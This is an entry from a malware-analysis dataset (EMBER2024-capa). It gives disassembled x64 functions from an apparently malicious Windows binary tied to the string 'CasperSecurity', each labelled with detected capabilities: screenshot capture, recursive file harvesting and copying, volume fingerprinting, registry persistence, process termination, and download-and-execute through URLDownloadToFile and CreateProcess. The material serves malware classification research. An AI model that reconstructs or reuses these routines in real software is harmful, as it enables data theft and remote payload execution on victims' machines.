joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000e6f0
Capabilities:
Set current directory

Disassembly:
sub rsp, 0x88
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rsp + 0x70], rax
call fcn.1400131b0
lea rcx, [rsp + 0x48]
mov rdx, rax
call fcn.140004f40
lea r8, str._sqlite.dll
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x20]
call fcn.140009294
jmp 0x14000e73b
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
call fcn.140004fa4
mov rcx, rax
call fcn.1400148a4
test al, al
je 0x14000e730
lea rcx, [rsp + 0x48]
call fcn.140004fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [rsp + 0x20]
call fcn.140004f98
lea rcx, [rsp + 0x48]
call fcn.140004f98
xor al, al
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14001c0c0
add rsp, 0x88
ret

Function at 0x14000e790
Capabilities:
Delete file
Set current directory

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rsp + 0x70], rax
call fcn.1400131b0
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [rsp + 0x48]
mov rdx, rbx
call fcn.140004f40
lea r8, str.CasperSecurity
lea rcx, [rsp + 0x20]
mov rdx, rax
call fcn.14000a3e4
lea rcx, [rsp + 0x48]
call fcn.140004f98
lea rcx, [rsp + 0x20]
call fcn.140004fa4
mov rcx, rax
call fcn.14001329c
lea rcx, [0x14003ed08]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rsp + 0x20]
call fcn.140004f98
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14001c0c0
add rsp, 0x80
pop rbx
ret

Function at 0x14000ece4
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x50]
lea rdx, [0x14003f040]
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000ed65
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
lea rdx, [0x14003dddc]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x48]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x40], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x14000ed65
cmp dword [rsp + 0x48], 1
jne 0x14000ed65
mov al, 1
jmp 0x14000ed67
xor al, al
add rsp, 0x30
pop rbx
ret

Function at 0x14000ed70
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
sub rsp, 0x58
and qword [r11 - 0x18], 0
lea rax, [r11 + 0x10]
lea rdx, str.SoftwareCasperSecurity
mov qword [r11 - 0x20], rax
and qword [r11 - 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0x20006
and dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14000edef
mov rcx, qword [rsp + 0x68]
lea r9d, [rax + 4]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], r9d
lea rdx, [0x14003de0c]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x58
ret
Function at 0x14000edf4
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
call fcn.140001024
call fcn.14000e608
test al, al
je 0x14000ee11
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.14000e048
call fcn.14000e854
call fcn.14000e6f0
call fcn.14000ece4
test al, al
jne 0x14000ee33
call fcn.14000e828
call fcn.14000ed70
mov ebx, 0x14
call fcn.14000e92c
mov ecx, 0x32c8
call qword [sym.imp.KERNEL32.dll_Sleep]
dec rbx
jne 0x14000ee38
call fcn.14000e854
call fcn.14000ec00
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000ee33

Function at 0x14000f48c
Capabilities:
Capture screenshot

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x80
mov esi, ecx
xor ecx, ecx
mov r12, r8
mov ebp, edx
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.USER32.dll_GetDC]
mov r8d, ebp
mov rcx, rax
mov edx, esi
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rcx, rbx
mov rdx, rax
mov rdi, rax
call qword [sym.imp.GDI32.dll_SelectObject]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov dword [rsp + 0x40], 0xcc0020
and dword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x20], ebp
call qword [sym.imp.GDI32.dll_BitBlt]
lea rcx, [rsp + 0x50]
mov rdx, r12
call fcn.14000f5c8
mov rcx, rdi
mov rdx, rax
call fcn.14000f3f0
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r12
call fcn.140004f98
mov al, 1
add rsp, 0x80
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140012fb4
Capabilities:
Copy file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x240
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov r13, rdx
mov rsi, rcx
call fcn.14000dad4
xor edi, edi
mov rbp, rax
test rax, rax
je 0x14001305a
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x14003db10]
mov rcx, rax
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x14003db20]
mov rcx, r12
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rbp + 2]
lea rdx, [0x14003db30]
lea rcx, [rsp + 0x20]
mov r8, r13
call rbx
lea rdx, [rsp + 0x20]
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14001304e
mov dil, 1
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, dil
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.14001c0c0
mov rbx, qword [rsp + 0x280]
add rsp, 0x240
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140013184
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x28
and qword [rsp + 0x30], 0
lea r9, [rsp + 0x30]
lea rcx, [0x140039ee0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov rax, qword [rsp + 0x30]
add rsp, 0x28
ret

Function at 0x1400131b0
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x20
lea r9, [rsp + 0x30]
lea rcx, [0x140039ed0]
xor ebx, ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x30], rbx
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
cmovns rbx, qword [rsp + 0x30]
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x1400131e8
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140013227
xor al, al
jmp 0x140013277
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
test eax, eax
je 0x14001326c
jmp 0x140013256
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call fcn.14001e9ec
test eax, eax
je 0x14001326a
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140013245
jmp 0x14001326c
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14001c0c0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14001329c
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5b8]
sub rsp, 0x6b0
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
lea rdx, [rbp + 0x390]
mov rbx, rcx
sub rdx, rcx
movzx eax, word [rcx]
mov word [rdx + rcx], ax
add rcx, 2
test ax, ax
jne 0x1400132d8
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x390]
repne scasw ax, word [rdi]
mov eax, dword [0x14003dbfc]
lea rdx, [rsp + 0x30]
mov dword [rdi - 2], eax
movzx eax, word [0x14003dc00]
lea rcx, [rbp + 0x390]
mov word [rdi + 2], ax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x20], rax
cmp rax, 0xffffffffffffffff
jne 0x140013330
xor al, al
jmp 0x14001341d
mov r8d, 2
lea rsi, [rsp + 0x5c]
lea rdi, [0x14003dae4]
mov ecx, r8d
repe cmpsw word [rsi], word [rdi]
je 0x1400133eb
lea rsi, [rsp + 0x5c]
lea rdi, [0x14003dc04]
lea ecx, [r8 + 1]
repe cmpsw word [rsi], word [rdi]
je 0x1400133eb
lea rdx, [rbp + 0x180]
mov rcx, rbx
sub rdx, rbx
movzx eax, word [rcx]
mov word [rdx + rcx], ax
add rcx, r8
test ax, ax
jne 0x140013374
or rdx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rbp + 0x180]
mov rcx, rdx
repne scasw ax, word [rdi]
mov eax, dword [0x14003db1c]
mov rcx, rdx
sub rdi, r8
lea rdx, [rsp + 0x5c]
mov dword [rdi], eax
xor eax, eax
lea rdi, [rbp + 0x180]
repne scasw ax, word [rdi]
sub rdi, r8
xor ecx, ecx
movzx eax, word [rdx + rcx]
mov word [rdi + rcx], ax
add rcx, r8
test ax, ax
jne 0x1400133ba
test byte [rsp + 0x30], 0x10
lea rcx, [rbp + 0x180]
je 0x1400133e1
call fcn.14001329c
test al, al
jmp 0x1400133e9
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x140013445
mov rdi, qword [rsp + 0x20]
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140013330
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne al
mov rcx, qword [rbp + 0x5a0]
xor rcx, rsp
call fcn.14001c0c0
lea r11, [rsp + 0x6b0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x140013329
Function at 0x140013458
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x7d0]
sub rsp, 0x8d0
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x7c0], rax
mov rsi, rdx
mov qword [rsp + 0x28], rdx
mov rdi, rcx
mov qword [rsp + 0x20], rcx
mov r8, rcx
lea rdx, [0x14003dc10]
lea rcx, [rbp + 0x5b0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x5b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400135e6
test byte [rsp + 0x40], 0x10
jne 0x140013608
test byte [rsp + 0x40], 2
jne 0x140013608
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x34], eax
cmp qword [rsp + 0x30], 0x1f40
jge 0x1400135c7
lea r9, [rsp + 0x6c]
lea rdx, [0x14003dc20]
lea rcx, [rbp + 0x190]
mov r8, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x190]
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
lea rdx, [0x14003dc30]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x1400135b3
lea rdx, [0x14003dc40]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x1400135b3
lea rdx, [0x14003dc50]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x1400135b3
lea rdx, [0x14003dc60]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x1400135b3
lea rdx, [0x14003dc70]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x1400135b3
lea rdx, [0x14003dc80]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x1400135b3
lea rdx, [0x14003dc88]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
jne 0x1400135c2
lea rcx, [rbp + 0x190]
mov rdx, rsi
call fcn.140012fb4
mov rdi, qword [rsp + 0x20]
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1400134c6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x7c0]
xor rcx, rsp
call fcn.14001c0c0
mov rbx, qword [rsp + 0x900]
add rsp, 0x8d0
pop rdi
pop rsi
pop rbp
ret
lea rsi, [rsp + 0x6c]
lea rdi, [0x14003db2c]
mov ecx, 2
repe cmpsw word [rsi], word [rdi]
je 0x140013690
lea rsi, [rsp + 0x6c]
lea rdi, [0x14003dc90]
mov ecx, 3
repe cmpsw word [rsi], word [rdi]
je 0x140013690
lea rcx, [rsp + 0x6c]
call fcn.1400130e8
mov rdi, qword [rsp + 0x20]
test al, al
jne 0x14001369a
lea r9, [rsp + 0x6c]
lea rdx, str._s_s
lea rcx, [rbp + 0x3a0]
mov r8, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x3a0]
call fcn.140013084
mov rsi, qword [rsp + 0x28]
test al, al
je 0x1400135c7
lea rcx, [rbp + 0x3a0]
mov rdx, rsi
call fcn.140013458
jmp 0x1400135c7
mov rsi, qword [rsp + 0x28]
jmp 0x1400135c2
mov rsi, qword [rsp + 0x28]
jmp 0x1400135c7
Function at 0x1400136a4
Capabilities:
Copy file
Create directory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x7c8]
sub rsp, 0x8c0
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x7b0], rax
mov rax, rdx
mov qword [rsp + 0x28], rdx
mov rbx, rcx
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x1400138a0
lea rdx, [rbp + 0x5a0]
mov rcx, rbx
sub rdx, rbx
movzx eax, word [rcx]
mov word [rdx + rcx], ax
add rcx, 2
test ax, ax
jne 0x1400136fe
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x5a0]
repne scasw ax, word [rdi]
mov eax, dword [0x14003dca4]
lea rdx, [rsp + 0x30]
mov dword [rdi - 2], eax
movzx eax, word [0x14003dca8]
lea rcx, [rbp + 0x5a0]
mov word [rdi + 2], ax
call qword [0x14004ba10]
or r10, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
cmp rax, r10
je 0x1400138a0
mov r8d, 2
lea rsi, [rsp + 0x5c]
lea rdi, [0x14003db3c]
mov ecx, r8d
repe cmpsw word [rsi], word [rdi]
je 0x140013875
lea rsi, [rsp + 0x5c]
lea rdi, [0x14003dcac]
lea ecx, [r8 + 1]
repe cmpsw word [rsi], word [rdi]
je 0x140013875
lea rdx, [rbp + 0x390]
mov rcx, rbx
sub rdx, rbx
movzx eax, word [rcx]
mov word [rdx + rcx], ax
add rcx, r8
test ax, ax
jne 0x14001379a
xor eax, eax
lea rdi, [rbp + 0x390]
mov rcx, r10
repne scasw ax, word [rdi]
mov eax, dword [0x14003db54]
mov rcx, r10
sub rdi, r8
lea rdx, [rsp + 0x5c]
mov dword [rdi], eax
xor eax, eax
lea rdi, [rbp + 0x390]
repne scasw ax, word [rdi]
sub rdi, r8
xor ecx, ecx
movzx eax, word [rdx + rcx]
mov word [rdi + rcx], ax
add rcx, r8
test ax, ax
jne 0x1400137dc
mov rax, qword [rsp + 0x28]
lea rdx, [rbp + 0x180]
mov rcx, rax
sub rdx, rax
movzx eax, word [rcx]
mov word [rdx + rcx], ax
add rcx, r8
test ax, ax
jne 0x1400137fe
xor eax, eax
lea rdi, [rbp + 0x180]
mov rcx, r10
repne scasw ax, word [rdi]
mov eax, dword [0x14003db64]
mov rcx, r10
sub rdi, r8
lea rdx, [rsp + 0x5c]
mov dword [rdi], eax
xor eax, eax
lea rdi, [rbp + 0x180]
repne scasw ax, word [rdi]
sub rdi, r8
xor ecx, ecx
movzx eax, word [rdx + rcx]
mov word [rdi + rcx], ax
add rcx, r8
test ax, ax
jne 0x140013840
test byte [rsp + 0x30], 0x10
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x390]
je 0x14001386c
call fcn.1400136a4
jmp 0x140013875
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rdi, qword [rsp + 0x20]
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov r10, 0xffffffffffffffff
test eax, eax
jne 0x140013756
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x7b0]
xor rcx, rsp
call fcn.14001c0c0
lea r11, [rsp + 0x8c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140013924
Capabilities:
Copy file
Create directory
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x278]
sub rsp, 0x378
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x260], rax
mov rbx, r8
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
mov rdx, rcx
lea r8, [0x14003dcb4]
lea rcx, [rbp - 0x48]
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x38], rbx
call fcn.140009294
lea rcx, [rbp - 0x48]
call fcn.140004fa4
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140013b1d
xor edi, edi
lea rdx, [rbp + 0x3c]
lea rcx, [rsp + 0x40]
call fcn.140004f40
mov rdx, qword [rsp + 0x28]
lea r8, [0x14003dbb4]
lea rcx, [rbp - 0x20]
call fcn.140009294
lea r8, [rsp + 0x40]
lea rcx, [rbp - 0x70]
mov rdx, rax
call fcn.1400149dc
lea rcx, [rbp - 0x20]
call fcn.140004f98
mov rdx, qword [rsp + 0x30]
lea r8, [0x14003dbcc]
lea rcx, [rbp - 0x20]
call fcn.140009294
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x68]
mov rdx, rax
call fcn.1400149dc
lea rcx, [rbp - 0x20]
call fcn.140004f98
lea rdx, [0x14003dbec]
lea rcx, [rsp + 0x40]
call fcn.140014a10
test al, al
je 0x140013ae2
lea rdx, [0x14003dcbc]
lea rcx, [rsp + 0x40]
call fcn.140014a10
test al, al
je 0x140013ae2
test byte [rbp + 0x10], 0x10
je 0x140013ab4
mov r8d, dword [rsp + 0x20]
lea rcx, [rsp + 0x40]
mov rdx, rbx
call fcn.1400138c8
test al, al
jne 0x140013ae2
lea rcx, [rsp + 0x68]
call fcn.140004fa4
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x140013a8a
mov r9d, dword [rsp + 0x20]
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x70]
mov r8, rbx
call fcn.140013924
test al, al
jne 0x140013ae2
lea rcx, [rsp + 0x68]
call fcn.140004f98
lea rcx, [rbp - 0x70]
call fcn.140004f98
lea rcx, [rsp + 0x40]
call fcn.140004f98
lea rcx, [rbp - 0x48]
call fcn.140004f98
xor al, al
jmp 0x140013b2c
lea rcx, [rsp + 0x68]
call fcn.140004fa4
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.140004fa4
xor r8d, r8d
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140013b47
mov rbx, qword [rsp + 0x38]
lea rcx, [rsp + 0x68]
call fcn.140004f98
lea rcx, [rbp - 0x70]
call fcn.140004f98
lea rcx, [rsp + 0x40]
call fcn.140004f98
lea rdx, [rbp + 0x10]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140013998
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov dil, 1
lea rcx, [rbp - 0x48]
call fcn.140004f98
mov al, dil
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.14001c0c0
add rsp, 0x378
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rcx, [rsp + 0x68]
call fcn.140004f98
lea rcx, [rbp - 0x70]
call fcn.140004f98
lea rcx, [rsp + 0x40]
call fcn.140004f98
jmp 0x140013b20
Function at 0x140013b78
Capabilities:
Get common file path
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor eax, eax
mov rdi, rcx
xor ebx, ebx
lea rcx, [rsp + 0x60]
mov edx, 0x104
mov byte [rsp + 0x58], bl
mov dword [rsp + 0x59], eax
mov word [rsp + 0x5d], ax
mov byte [rsp + 0x5f], al
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
movzx ecx, byte [rsp + 0x60]
mov dword [rsp + 0x38], ebx
lea edx, [rbx + 0x43]
test eax, eax
cmove ecx, edx
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0x40]
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x58], cl
lea rcx, [rsp + 0x58]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov word [rsp + 0x59], 0x5c3a
mov byte [rsp + 0x5b], bl
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
lea rcx, [rsp + 0x40]
call fcn.140013b68
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x48], eax
call fcn.140013b68
lea rcx, [rsp + 0x40]
call fcn.140013b68
mov word [rsp + 0x4e], ax
lea rcx, [rsp + 0x40]
call fcn.140013b68
inc rbx
mov byte [rsp + rbx + 0x4f], al
cmp rbx, 8
jl 0x140013c38
mov eax, dword [rsp + 0x52]
movzx r9d, word [rsp + 0x4e]
mov r8d, dword [rsp + 0x48]
lea rdx, str._08lX_04lX_lu
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.14001c0c0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x140013c94
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea r9, [rsp + 0x38]
lea rcx, [0x140039ef0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
xor ecx, ecx
test eax, eax
js 0x140013cd1
mov r8, qword [rsp + 0x38]
lea rdx, [0x14003dce0]
mov rcx, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x140013cd4
mov word [rbx], cx
add rsp, 0x20
pop rbx
ret

Function at 0x140013cdc
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x240
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbx, rcx
lea rcx, [rsp + 0x20]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor edi, edi
test eax, eax
je 0x140013d2e
lea r8d, [rdi + 4]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14001e394
mov dword [rbx + 4], 0x5c
jmp 0x140013d31
mov word [rbx], di
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.14001c0c0
mov rbx, qword [rsp + 0x258]
add rsp, 0x240
pop rdi
ret
Function at 0x140013d54
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push rbx
sub rsp, 0x310
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rsp + 0x300], rax
mov rbx, rcx
lea rdx, [rsp + 0x1f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x140013e5f
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathIsURLA]
test eax, eax
je 0x140013e5f
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0xe0]
mov r8, rax
call qword [sym.imp.SHLWAPI.dll_PathCombineA]
test rax, rax
je 0x140013e5f
and qword [rsp + 0x20], 0
lea r8, [rsp + 0xe0]
xor r9d, r9d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x140013e5f
lea r8d, [rax + 0x60]
lea rcx, [rsp + 0x78]
xor edx, edx
mov dword [rsp + 0x70], 0x68
call fcn.14001f110
lea r11, [rsp + 0x50]
mov qword [rsp + 0x48], r11
lea rax, [rsp + 0x70]
lea rdx, [rsp + 0xe0]
mov qword [rsp + 0x40], rax
and qword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140013e5f
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140013e61
xor al, al
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.14001c0c0
add rsp, 0x310
pop rbx
ret

Function at 0x140013e7c
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x140048490]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140013f3f
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x140013f32
lea rax, [rsp + 0x4c]
mov rdx, rsi
sub rdx, rax
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x140013ef4
add rax, 2
test r8d, r8d
jne 0x140013ede
test ecx, ecx
jne 0x140013f24
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140013f24
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
